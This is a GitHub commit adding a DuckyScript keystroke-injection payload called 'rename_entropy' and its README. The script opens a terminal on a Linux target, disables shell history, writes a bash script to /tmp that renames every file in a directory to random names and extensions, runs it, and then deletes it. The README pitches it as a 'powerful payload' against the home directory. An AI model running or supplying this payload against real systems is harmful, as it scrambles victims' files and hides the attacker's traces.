uploading rename_entropy payload

rename_entropy is a powerful payload which renames target files along with extensions in home directory.
pull/190/head
drapl0n 2023-07-09 20:00:28 +05:30 committed by GitHub
parent 7b628f2753
commit 6a69592c96
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 46 additions and 0 deletions

View File

@ -0,0 +1,24 @@
## About:
* Title: rename_entropy
* Description: rename_entropy is a powerful payload which renames target files along with extensions in home directory.
* AUTHOR: drapl0n
* Version: 1.0
* Category: Execution.
* Target: Unix-like operating systems.
* Attackmodes: HID.
## rename_entropy: rename_entropy is a powerful payload which renames target files along with extensions in home directory.
### Features:
1. Renames files and directories.
2. Fast paylaod execution.
3. Oneliner Payload.
### Workflow:
1. Prevent storing history.
2. Creating random string generation mechanism.
3. Granting executing privileges.
4. Executing Payload Script.
#### Support me if you like my work:
* https://twitter.com/drapl0n

View File

@ -0,0 +1,22 @@
REM Title: rename_entropy
REM Description: rename_entropy, rename_entropy is a powerful payload which renames target files with extensions.
REM AUTHOR: drapl0n
REM Version: 1.0
REM Category: Execution.
REM Target: GNU/Linux.
REM Attackmodes: HID.
DELAY 1000
CTRL ALT t
DELAY 500
STRING unset HISTFILE
ENTER
DELAY 100
STRING echo -e "#\!/bin/bash\ndir=\"/home/\$(whoami)/testdir/\"\ncd \"\$dir\" || exit\nfor file in *; do\n\trand_str=\$(cat /dev/urandom | tr -dc 'a-zA-Z' | fold -w 10 | head -n 1)\n\trand_ext=\$(cat /dev/urandom | tr -dc 'a-zA-Z' | fold -w 3 | head -n 1)\n\tmv \"\$file\" \"\${rand_str}.\${rand_ext}\"\ndone" > /tmp/sys
ENTER
DELAY 200
STRING chmod +x /tmp/sys
ENTER
DELAY 200
STRING /tmp/./sys && rm /tmp/sys && exit
ENTER